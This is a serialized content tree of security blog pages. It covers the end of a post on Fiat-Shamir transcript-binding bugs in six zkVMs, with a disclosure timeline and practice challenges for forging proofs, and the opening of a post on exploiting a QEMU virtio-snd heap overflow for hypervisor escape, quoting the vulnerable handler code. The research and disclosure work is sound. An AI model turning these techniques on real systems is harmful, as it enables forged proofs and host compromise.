",{"type":25,"tag":115,"props":123920,"children":123922},{"className":123921},[5485,5486],[123923],{"type":25,"tag":201,"props":123924,"children":123926},{"className":123925},[5491],[123927],{"type":25,"tag":201,"props":123928,"children":123930},{"className":123929,"ariaHidden":5497},[5496],[123931],{"type":25,"tag":201,"props":123932,"children":123934},{"className":123933},[5502],[123935,123939],{"type":25,"tag":201,"props":123936,"children":123938},{"className":123937,"style":23078},[5507],[],{"type":25,"tag":201,"props":123940,"children":123942},{"className":123941,"style":23615},[5513,23083],[123943],{"type":31,"value":117360},{"type":31,"value":123945}," before sampling ",{"type":25,"tag":115,"props":123947,"children":123949},{"className":123948},[5485,5486],[123950],{"type":25,"tag":201,"props":123951,"children":123953},{"className":123952},[5491],[123954],{"type":25,"tag":201,"props":123955,"children":123957},{"className":123956,"ariaHidden":5497},[5496],[123958],{"type":25,"tag":201,"props":123959,"children":123961},{"className":123960},[5502],[123962,123966],{"type":25,"tag":201,"props":123963,"children":123965},{"className":123964,"style":111972},[5507],[],{"type":25,"tag":201,"props":123967,"children":123969},{"className":123968,"style":94131},[5513,23083],[123970],{"type":31,"value":94950},{"type":31,"value":123972},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":25,"tag":34,"props":123974,"children":123975},{},[123976],{"type":31,"value":123977},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":25,"tag":40,"props":123979,"children":123981},{"id":123980},"the-hot-potato-problem",[123982],{"type":31,"value":123983},"The Hot Potato Problem",{"type":25,"tag":34,"props":123985,"children":123986},{},[123987],{"type":31,"value":123988},"Modern zkVMs are modular:",{"type":25,"tag":34,"props":123990,"children":123991},{},[123992],{"type":25,"tag":127,"props":123993,"children":123996},{"alt":123994,"src":123995},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":25,"tag":34,"props":123998,"children":123999},{},[124000],{"type":31,"value":124001},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":25,"tag":40,"props":124003,"children":124005},{"id":124004},"optimization-pressure",[124006],{"type":31,"value":124007},"Optimization Pressure",{"type":25,"tag":34,"props":124009,"children":124010},{},[124011],{"type":31,"value":124012},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":25,"tag":34,"props":124014,"children":124015},{},[124016],{"type":31,"value":124017},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":25,"tag":40,"props":124019,"children":124021},{"id":124020},"testing-doesnt-catch-adversarial-inputs",[124022],{"type":31,"value":124023},"Testing Doesn't Catch Adversarial Inputs",{"type":25,"tag":34,"props":124025,"children":124026},{},[124027],{"type":31,"value":124028},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":25,"tag":20292,"props":124030,"children":124031},{},[],{"type":25,"tag":26,"props":124033,"children":124035},{"id":124034},"how-to-find-and-fix-these-bugs",[124036],{"type":31,"value":124037},"How to Find and Fix These Bugs",{"type":25,"tag":40,"props":124039,"children":124041},{"id":124040},"prevention",[124042],{"type":31,"value":124043},"Prevention",{"type":25,"tag":34,"props":124045,"children":124046},{},[124047],{"type":31,"value":124048},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":25,"tag":34,"props":124050,"children":124051},{},[124052],{"type":31,"value":124053},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":25,"tag":34,"props":124055,"children":124056},{},[124057],{"type":31,"value":124058},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":25,"tag":34,"props":124060,"children":124061},{},[124062],{"type":31,"value":124063},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":25,"tag":34,"props":124065,"children":124066},{},[124067],{"type":31,"value":124068},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":25,"tag":20292,"props":124070,"children":124071},{},[],{"type":25,"tag":26,"props":124073,"children":124075},{"id":124074},"responsible-disclosure-timeline",[124076],{"type":31,"value":124077},"Responsible Disclosure Timeline",{"type":25,"tag":56823,"props":124079,"children":124080},{},[124081,124109],{"type":25,"tag":124082,"props":124083,"children":124084},"thead",{},[124085],{"type":25,"tag":124086,"props":124087,"children":124088},"tr",{},[124089,124094,124099,124104],{"type":25,"tag":124090,"props":124091,"children":124092},"th",{},[124093],{"type":31,"value":24702},{"type":25,"tag":124090,"props":124095,"children":124096},{},[124097],{"type":31,"value":124098},"Reported",{"type":25,"tag":124090,"props":124100,"children":124101},{},[124102],{"type":31,"value":124103},"Fixed",{"type":25,"tag":124090,"props":124105,"children":124106},{},[124107],{"type":31,"value":124108},"Response Time",{"type":25,"tag":124110,"props":124111,"children":124112},"tbody",{},[124113,124136,124157,124177,124199,124220],{"type":25,"tag":124086,"props":124114,"children":124115},{},[124116,124121,124126,124131],{"type":25,"tag":124117,"props":124118,"children":124119},"td",{},[124120],{"type":31,"value":108944},{"type":25,"tag":124117,"props":124122,"children":124123},{},[124124],{"type":31,"value":124125},"Sep 2025",{"type":25,"tag":124117,"props":124127,"children":124128},{},[124129],{"type":31,"value":124130},"Oct 3, 2025",{"type":25,"tag":124117,"props":124132,"children":124133},{},[124134],{"type":31,"value":124135},"\u003C1 week",{"type":25,"tag":124086,"props":124137,"children":124138},{},[124139,124143,124148,124153],{"type":25,"tag":124117,"props":124140,"children":124141},{},[124142],{"type":31,"value":108950},{"type":25,"tag":124117,"props":124144,"children":124145},{},[124146],{"type":31,"value":124147},"Oct 2025",{"type":25,"tag":124117,"props":124149,"children":124150},{},[124151],{"type":31,"value":124152},"Oct 24, 2025",{"type":25,"tag":124117,"props":124154,"children":124155},{},[124156],{"type":31,"value":124135},{"type":25,"tag":124086,"props":124158,"children":124159},{},[124160,124164,124168,124173],{"type":25,"tag":124117,"props":124161,"children":124162},{},[124163],{"type":31,"value":108956},{"type":25,"tag":124117,"props":124165,"children":124166},{},[124167],{"type":31,"value":124147},{"type":25,"tag":124117,"props":124169,"children":124170},{},[124171],{"type":31,"value":124172},"Oct 31, 2025",{"type":25,"tag":124117,"props":124174,"children":124175},{},[124176],{"type":31,"value":124135},{"type":25,"tag":124086,"props":124178,"children":124179},{},[124180,124184,124189,124194],{"type":25,"tag":124117,"props":124181,"children":124182},{},[124183],{"type":31,"value":108962},{"type":25,"tag":124117,"props":124185,"children":124186},{},[124187],{"type":31,"value":124188},"Nov 2025",{"type":25,"tag":124117,"props":124190,"children":124191},{},[124192],{"type":31,"value":124193},"Mar 5, 2026",{"type":25,"tag":124117,"props":124195,"children":124196},{},[124197],{"type":31,"value":124198},"~4 months",{"type":25,"tag":124086,"props":124200,"children":124201},{},[124202,124206,124211,124216],{"type":25,"tag":124117,"props":124203,"children":124204},{},[124205],{"type":31,"value":108974},{"type":25,"tag":124117,"props":124207,"children":124208},{},[124209],{"type":31,"value":124210},"Dec 2025",{"type":25,"tag":124117,"props":124212,"children":124213},{},[124214],{"type":31,"value":124215},"Dec 29, 2025",{"type":25,"tag":124117,"props":124217,"children":124218},{},[124219],{"type":31,"value":124135},{"type":25,"tag":124086,"props":124221,"children":124222},{},[124223,124227,124231,124236],{"type":25,"tag":124117,"props":124224,"children":124225},{},[124226],{"type":31,"value":108968},{"type":25,"tag":124117,"props":124228,"children":124229},{},[124230],{"type":31,"value":124188},{"type":25,"tag":124117,"props":124232,"children":124233},{},[124234],{"type":31,"value":124235},"Jan 21, 2026?",{"type":25,"tag":124117,"props":124237,"children":124238},{},[124239],{"type":31,"value":124240},"3 months",{"type":25,"tag":34,"props":124242,"children":124243},{},[124244],{"type":31,"value":124245},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":25,"tag":20292,"props":124247,"children":124248},{},[],{"type":25,"tag":26,"props":124250,"children":124252},{"id":124251},"challenges",[124253],{"type":31,"value":108987},{"type":25,"tag":34,"props":124255,"children":124256},{},[124257,124259],{"type":31,"value":124258},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":25,"tag":124260,"props":124261,"children":124262},"del",{},[124263],{"type":31,"value":124264},"the first 10 solvers will get a T-shirt.",{"type":25,"tag":34,"props":124266,"children":124267},{},[124268,124270,124323,124324,124580],{"type":31,"value":124269},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":25,"tag":115,"props":124271,"children":124273},{"className":124272},[5485,5486],[124274],{"type":25,"tag":201,"props":124275,"children":124277},{"className":124276},[5491],[124278],{"type":25,"tag":201,"props":124279,"children":124281},{"className":124280,"ariaHidden":5497},[5496],[124282],{"type":25,"tag":201,"props":124283,"children":124285},{"className":124284},[5502],[124286,124290,124295,124300,124304,124309,124314,124318],{"type":25,"tag":201,"props":124287,"children":124289},{"className":124288,"style":116186},[5507],[],{"type":25,"tag":201,"props":124291,"children":124293},{"className":124292},[5513,23083],[124294],{"type":31,"value":71},{"type":25,"tag":201,"props":124296,"children":124298},{"className":124297},[5625],[124299],{"type":31,"value":5628},{"type":25,"tag":201,"props":124301,"children":124303},{"className":124302,"style":5632},[5593],[],{"type":25,"tag":201,"props":124305,"children":124307},{"className":124306},[5513,23083],[124308],{"type":31,"value":4729},{"type":25,"tag":201,"props":124310,"children":124312},{"className":124311},[5625],[124313],{"type":31,"value":5628},{"type":25,"tag":201,"props":124315,"children":124317},{"className":124316,"style":5632},[5593],[],{"type":25,"tag":201,"props":124319,"children":124321},{"className":124320},[5513,23083],[124322],{"type":31,"value":4652},{"type":31,"value":110787},{"type":25,"tag":115,"props":124325,"children":124327},{"className":124326},[5485,5486],[124328],{"type":25,"tag":201,"props":124329,"children":124331},{"className":124330},[5491],[124332],{"type":25,"tag":201,"props":124333,"children":124335},{"className":124334,"ariaHidden":5497},[5496],[124336,124399,124461,124567],{"type":25,"tag":201,"props":124337,"children":124339},{"className":124338},[5502],[124340,124345,124386,124390,124395],{"type":25,"tag":201,"props":124341,"children":124344},{"className":124342,"style":124343},[5507],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":25,"tag":201,"props":124346,"children":124348},{"className":124347},[5513],[124349,124354],{"type":25,"tag":201,"props":124350,"children":124352},{"className":124351},[5513,23083],[124353],{"type":31,"value":71},{"type":25,"tag":201,"props":124355,"children":124357},{"className":124356},[5529],[124358],{"type":25,"tag":201,"props":124359,"children":124361},{"className":124360},[5534],[124362],{"type":25,"tag":201,"props":124363,"children":124365},{"className":124364},[5539],[124366],{"type":25,"tag":201,"props":124367,"children":124369},{"className":124368,"style":5508},[5544],[124370],{"type":25,"tag":201,"props":124371,"children":124372},{"style":5548},[124373,124377],{"type":25,"tag":201,"props":124374,"children":124376},{"className":124375,"style":5554},[5553],[],{"type":25,"tag":201,"props":124378,"children":124380},{"className":124379},[5559,5560,5561,5562],[124381],{"type":25,"tag":201,"props":124382,"children":124384},{"className":124383},[5513,5562],[124385],{"type":31,"value":18792},{"type":25,"tag":201,"props":124387,"children":124389},{"className":124388,"style":5594},[5593],[],{"type":25,"tag":201,"props":124391,"children":124393},{"className":124392},[5599],[124394],{"type":31,"value":5886},{"type":25,"tag":201,"props":124396,"children":124398},{"className":124397,"style":5594},[5593],[],{"type":25,"tag":201,"props":124400,"children":124402},{"className":124401},[5502],[124403,124407,124448,124452,124457],{"type":25,"tag":201,"props":124404,"children":124406},{"className":124405,"style":5508},[5507],[],{"type":25,"tag":201,"props":124408,"children":124410},{"className":124409},[5513],[124411,124416],{"type":25,"tag":201,"props":124412,"children":124414},{"className":124413},[5513,23083],[124415],{"type":31,"value":4729},{"type":25,"tag":201,"props":124417,"children":124419},{"className":124418},[5529],[124420],{"type":25,"tag":201,"props":124421,"children":124423},{"className":124422},[5534],[124424],{"type":25,"tag":201,"props":124425,"children":124427},{"className":124426},[5539],[124428],{"type":25,"tag":201,"props":124429,"children":124431},{"className":124430,"style":5508},[5544],[124432],{"type":25,"tag":201,"props":124433,"children":124434},{"style":5548},[124435,124439],{"type":25,"tag":201,"props":124436,"children":124438},{"className":124437,"style":5554},[5553],[],{"type":25,"tag":201,"props":124440,"children":124442},{"className":124441},[5559,5560,5561,5562],[124443],{"type":25,"tag":201,"props":124444,"children":124446},{"className":124445},[5513,5562],[124447],{"type":31,"value":18792},{"type":25,"tag":201,"props":124449,"children":124451},{"className":124450,"style":5691},[5593],[],{"type":25,"tag":201,"props":124453,"children":124455},{"className":124454},[5696],[124456],{"type":31,"value":1383},{"type":25,"tag":201,"props":124458,"children":124460},{"className":124459,"style":5691},[5593],[],{"type":25,"tag":201,"props":124462,"children":124464},{"className":124463},[5502],[124465,124470,124511,124516,124520,124525,124530,124534,124539,124544,124548,124553,124557,124563],{"type":25,"tag":201,"props":124466,"children":124469},{"className":124467,"style":124468},[5507],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":25,"tag":201,"props":124471,"children":124473},{"className":124472},[5513],[124474,124479],{"type":25,"tag":201,"props":124475,"children":124477},{"className":124476},[5513,23083],[124478],{"type":31,"value":4652},{"type":25,"tag":201,"props":124480,"children":124482},{"className":124481},[5529],[124483],{"type":25,"tag":201,"props":124484,"children":124486},{"className":124485},[5534],[124487],{"type":25,"tag":201,"props":124488,"children":124490},{"className":124489},[5539],[124491],{"type":25,"tag":201,"props":124492,"children":124494},{"className":124493,"style":5508},[5544],[124495],{"type":25,"tag":201,"props":124496,"children":124497},{"style":5548},[124498,124502],{"type":25,"tag":201,"props":124499,"children":124501},{"className":124500,"style":5554},[5553],[],{"type":25,"tag":201,"props":124503,"children":124505},{"className":124504},[5559,5560,5561,5562],[124506],{"type":25,"tag":201,"props":124507,"children":124509},{"className":124508},[5513,5562],[124510],{"type":31,"value":18792},{"type":25,"tag":201,"props":124512,"children":124514},{"className":124513},[5625],[124515],{"type":31,"value":5628},{"type":25,"tag":201,"props":124517,"children":124519},{"className":124518,"style":5632},[5593],[],{"type":25,"tag":201,"props":124521,"children":124523},{"className":124522},[5513,23083],[124524],{"type":31,"value":71},{"type":25,"tag":201,"props":124526,"children":124528},{"className":124527},[5625],[124529],{"type":31,"value":5628},{"type":25,"tag":201,"props":124531,"children":124533},{"className":124532,"style":5632},[5593],[],{"type":25,"tag":201,"props":124535,"children":124537},{"className":124536},[5513,23083],[124538],{"type":31,"value":4729},{"type":25,"tag":201,"props":124540,"children":124542},{"className":124541},[5625],[124543],{"type":31,"value":5628},{"type":25,"tag":201,"props":124545,"children":124547},{"className":124546,"style":5632},[5593],[],{"type":25,"tag":201,"props":124549,"children":124551},{"className":124550},[5513,23083],[124552],{"type":31,"value":4652},{"type":25,"tag":201,"props":124554,"children":124556},{"className":124555,"style":5691},[5593],[],{"type":25,"tag":201,"props":124558,"children":124560},{"className":124559},[5696],[124561],{"type":31,"value":124562},"≥",{"type":25,"tag":201,"props":124564,"children":124566},{"className":124565,"style":5691},[5593],[],{"type":25,"tag":201,"props":124568,"children":124570},{"className":124569},[5502],[124571,124575],{"type":25,"tag":201,"props":124572,"children":124574},{"className":124573,"style":95162},[5507],[],{"type":25,"tag":201,"props":124576,"children":124578},{"className":124577},[5513],[124579],{"type":31,"value":5516},{"type":31,"value":124581},". Good luck!",{"type":25,"tag":40,"props":124583,"children":124585},{"id":124584},"jolt",[124586],{"type":31,"value":108944},{"type":25,"tag":34,"props":124588,"children":124589},{},[124590,124592,124603,124605],{"type":31,"value":124591},"See ",{"type":25,"tag":71,"props":124593,"children":124600},{"href":124594,"target":124595,"rel":124596,"download":124599},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[124597,124598],"noopener","noreferrer","handout_jolt.tar.gz",[124601],{"type":31,"value":124602},"the handout",{"type":31,"value":124604}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":25,"tag":115,"props":124606,"children":124608},{"className":124607},[],[124609],{"type":31,"value":124610},"jolt.chal.osec.io:8960",{"type":25,"tag":40,"props":124612,"children":124614},{"id":124613},"nexus-1",[124615],{"type":31,"value":108950},{"type":25,"tag":34,"props":124617,"children":124618},{},[124619,124620,124627,124628],{"type":31,"value":124591},{"type":25,"tag":71,"props":124621,"children":124625},{"href":124622,"target":124595,"rel":124623,"download":124624},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[124597,124598],"handout_nexus.tar.gz",[124626],{"type":31,"value":124602},{"type":31,"value":124604},{"type":25,"tag":115,"props":124629,"children":124631},{"className":124630},[],[124632],{"type":31,"value":124633},"nexus.chal.osec.io:8950",{"type":25,"tag":34,"props":124635,"children":124636},{},[124637],{"type":31,"value":124638},"Now you should have enough margin to prove Fermat wrong.",{"type":25,"tag":20292,"props":124640,"children":124641},{},[],{"type":25,"tag":26,"props":124643,"children":124645},{"id":124644},"takeaways",[124646],{"type":31,"value":124647},"Takeaways",{"type":25,"tag":34,"props":124649,"children":124650},{},[124651],{"type":31,"value":124652},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":25,"tag":34,"props":124654,"children":124655},{},[124656],{"type":31,"value":124657},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":25,"tag":34,"props":124659,"children":124660},{},[124661,124666],{"type":25,"tag":1252,"props":124662,"children":124663},{},[124664],{"type":31,"value":124665},"For the ZK ecosystem:",{"type":31,"value":124667}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":25,"tag":34,"props":124669,"children":124670},{},[124671],{"type":31,"value":124672},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":25,"tag":34,"props":124674,"children":124675},{},[124676,124681],{"type":25,"tag":1252,"props":124677,"children":124678},{},[124679],{"type":31,"value":124680},"For auditors:",{"type":31,"value":124682}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":25,"tag":34,"props":124684,"children":124685},{},[124686,124691],{"type":25,"tag":1252,"props":124687,"children":124688},{},[124689],{"type":31,"value":124690},"For builders:",{"type":31,"value":124692}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":25,"tag":4349,"props":124694,"children":124695},{},[124696],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":124698},[124699,124700,124703,124709,124710,124718,124724,124727,124728,124732],{"id":108995,"depth":226,"text":108998},{"id":109137,"depth":226,"text":109140,"children":124701},[124702],{"id":109143,"depth":278,"text":109146},{"id":109572,"depth":226,"text":109575,"children":124704},[124705,124706,124707,124708],{"id":109583,"depth":278,"text":109586},{"id":109771,"depth":278,"text":109774},{"id":113152,"depth":278,"text":113155},{"id":114366,"depth":278,"text":114369},{"id":116003,"depth":226,"text":116006},{"id":116509,"depth":226,"text":116512,"children":124711},[124712,124713,124714,124715,124716,124717],{"id":116531,"depth":278,"text":116534},{"id":117856,"depth":278,"text":108950},{"id":118992,"depth":278,"text":118995},{"id":119660,"depth":278,"text":119663},{"id":122316,"depth":278,"text":122319},{"id":122870,"depth":278,"text":108974},{"id":123799,"depth":226,"text":123802,"children":124719},[124720,124721,124722,124723],{"id":123810,"depth":278,"text":123813},{"id":123980,"depth":278,"text":123983},{"id":124004,"depth":278,"text":124007},{"id":124020,"depth":278,"text":124023},{"id":124034,"depth":226,"text":124037,"children":124725},[124726],{"id":124040,"depth":278,"text":124043},{"id":124074,"depth":226,"text":124077},{"id":124251,"depth":226,"text":108987,"children":124729},[124730,124731],{"id":124584,"depth":278,"text":108944},{"id":124613,"depth":278,"text":108950},{"id":124644,"depth":226,"text":124647},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":124737,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":124738,"description":124739,"date":124740,"author":124741,"image":124742,"isFeatured":17,"onBlogPage":17,"tags":124744,"body":124747,"_type":4371,"_id":133033,"_source":4373,"_file":133034,"_stem":133035,"_extension":4376},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":124743,"width":98352,"height":15},"/posts/virtio-snd-qemu-0day/title.png",[124745,124746],"qemu","heap-overflow",{"type":22,"children":124748,"toc":133015},[124749,124754,124759,124764,124770,124775,124780,124788,124794,124806,124810,124815,124823,124828,124834,124839,124852,125462,125497,125542,125576,125611,125746,125794,125800,125805,126561,126606,126642,126677,126742,126762,127212,127259,127262,127267,127332,127358,127380,127384,127389,127394,127400,127405,127410,127415,127421,127434,127440,127445,127453,127523,127528,127534,127547,127773,127836,127855,128238,128243,128276,128281,128557,128569,128587,128866,128878,128881,128916,128921,128927,128939,128951,128956,128961,128971,129006,129623,129655,129666,129702,129715,129721,129733,129741,129767,129772,129805,129846,129852,129871,129909,129917,129966,129971,130020,130025,130033,130120,130126,130165,130177,130185,130203,130222,130230,130242,130250,130269,130277,130288,130296,130307,130315,130328,130336,130342,130347,130360,130368,130386,130394,130406,130411,130419,130455,130488,130495,130529,130537,130542,130548,130560,130571,130850,130910,130978,130986,131020,131624,131635,131643,131649,131654,131665,132419,132452,132464,132550,132570,132779,132826,132838,132844,132863,132889,132917,132933,132960,132963,132983,132997,133001,133006,133011],{"type":25,"tag":34,"props":124750,"children":124751},{},[124752],{"type":31,"value":124753},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":25,"tag":26,"props":124755,"children":124756},{"id":124745},[124757],{"type":31,"value":124758},"QEMU",{"type":25,"tag":34,"props":124760,"children":124761},{},[124762],{"type":31,"value":124763},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":25,"tag":40,"props":124765,"children":124767},{"id":124766},"virtio-devices",[124768],{"type":31,"value":124769},"Virtio Devices",{"type":25,"tag":34,"props":124771,"children":124772},{},[124773],{"type":31,"value":124774},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":25,"tag":34,"props":124776,"children":124777},{},[124778],{"type":31,"value":124779},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":25,"tag":34,"props":124781,"children":124782},{},[124783],{"type":25,"tag":127,"props":124784,"children":124787},{"alt":124785,"src":124786},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":25,"tag":26,"props":124789,"children":124791},{"id":124790},"finding-a-bug",[124792],{"type":31,"value":124793},"Finding a Bug",{"type":25,"tag":34,"props":124795,"children":124796},{},[124797,124799,124805],{"type":31,"value":124798},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":25,"tag":115,"props":124800,"children":124802},{"className":124801},[],[124803],{"type":31,"value":124804},"virtio-snd",{"type":31,"value":80},{"type":25,"tag":40,"props":124807,"children":124808},{"id":124804},[124809],{"type":31,"value":124804},{"type":25,"tag":34,"props":124811,"children":124812},{},[124813],{"type":31,"value":124814},"From the official documentation:",{"type":25,"tag":4439,"props":124816,"children":124817},{},[124818],{"type":25,"tag":34,"props":124819,"children":124820},{},[124821],{"type":31,"value":124822},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":25,"tag":34,"props":124824,"children":124825},{},[124826],{"type":31,"value":124827},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":25,"tag":20392,"props":124829,"children":124831},{"id":124830},"audio-data-buffers",[124832],{"type":31,"value":124833},"Audio Data Buffers",{"type":25,"tag":34,"props":124835,"children":124836},{},[124837],{"type":31,"value":124838},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":25,"tag":34,"props":124840,"children":124841},{},[124842,124844,124850],{"type":31,"value":124843},"For example, the following is ",{"type":25,"tag":115,"props":124845,"children":124847},{"className":124846},[],[124848],{"type":31,"value":124849},"virtio_snd_handle_rx_xfer",{"type":31,"value":124851},", which is responsible for allocating buffers for an input audio stream:",{"type":25,"tag":191,"props":124853,"children":124855},{"code":124854,"language":4652,"meta":7,"className":18010,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtQueueElement *elem;\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));     // [1]\n        if (!elem) {\n            break;\n        }\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);                  // [2]\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n            buffer->elem = elem;\n            buffer->vq = vq;\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n        }\n        continue;\n\n        [...]\n}\n\n",[124856],{"type":25,"tag":115,"props":124857,"children":124858},{"__ignoreMap":7},[124859,124866,124874,124882,124889,124897,124905,124913,124961,124968,124985,124992,124999,125011,125028,125035,125071,125091,125102,125109,125116,125124,125131,125164,125223,125241,125280,125305,125329,125357,125384,125422,125429,125441,125448,125455],{"type":25,"tag":201,"props":124860,"children":124861},{"class":203,"line":204},[124862],{"type":25,"tag":201,"props":124863,"children":124864},{"style":4497},[124865],{"type":31,"value":50443},{"type":25,"tag":201,"props":124867,"children":124868},{"class":203,"line":226},[124869],{"type":25,"tag":201,"props":124870,"children":124871},{"style":4497},[124872],{"type":31,"value":124873}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":25,"tag":201,"props":124875,"children":124876},{"class":203,"line":278},[124877],{"type":25,"tag":201,"props":124878,"children":124879},{"style":4497},[124880],{"type":31,"value":124881}," * respective streams for consumption.\n",{"type":25,"tag":201,"props":124883,"children":124884},{"class":203,"line":311},[124885],{"type":25,"tag":201,"props":124886,"children":124887},{"style":4497},[124888],{"type":31,"value":20986},{"type":25,"tag":201,"props":124890,"children":124891},{"class":203,"line":330},[124892],{"type":25,"tag":201,"props":124893,"children":124894},{"style":4497},[124895],{"type":31,"value":124896}," * @vdev: VirtIOSound device\n",{"type":25,"tag":201,"props":124898,"children":124899},{"class":203,"line":397},[124900],{"type":25,"tag":201,"props":124901,"children":124902},{"style":4497},[124903],{"type":31,"value":124904}," * @vq: rx virtqueue\n",{"type":25,"tag":201,"props":124906,"children":124907},{"class":203,"line":437},[124908],{"type":25,"tag":201,"props":124909,"children":124910},{"style":4497},[124911],{"type":31,"value":124912}," */\n",{"type":25,"tag":201,"props":124914,"children":124915},{"class":203,"line":464},[124916,124920,124924,124929,124934,124938,124943,124948,124952,124957],{"type":25,"tag":201,"props":124917,"children":124918},{"style":208},[124919],{"type":31,"value":52122},{"type":25,"tag":201,"props":124921,"children":124922},{"style":208},[124923],{"type":31,"value":52127},{"type":25,"tag":201,"props":124925,"children":124926},{"style":214},[124927],{"type":31,"value":124928}," virtio_snd_handle_rx_xfer",{"type":25,"tag":201,"props":124930,"children":124931},{"style":220},[124932],{"type":31,"value":124933},"(VirtIODevice ",{"type":25,"tag":201,"props":124935,"children":124936},{"style":261},[124937],{"type":31,"value":6077},{"type":25,"tag":201,"props":124939,"children":124940},{"style":246},[124941],{"type":31,"value":124942},"vdev",{"type":25,"tag":201,"props":124944,"children":124945},{"style":220},[124946],{"type":31,"value":124947},", VirtQueue ",{"type":25,"tag":201,"props":124949,"children":124950},{"style":261},[124951],{"type":31,"value":6077},{"type":25,"tag":201,"props":124953,"children":124954},{"style":246},[124955],{"type":31,"value":124956},"vq",{"type":25,"tag":201,"props":124958,"children":124959},{"style":220},[124960],{"type":31,"value":4666},{"type":25,"tag":201,"props":124962,"children":124963},{"class":203,"line":490},[124964],{"type":25,"tag":201,"props":124965,"children":124966},{"style":220},[124967],{"type":31,"value":1822},{"type":25,"tag":201,"props":124969,"children":124970},{"class":203,"line":499},[124971,124976,124980],{"type":25,"tag":201,"props":124972,"children":124973},{"style":220},[124974],{"type":31,"value":124975},"    VirtQueueElement 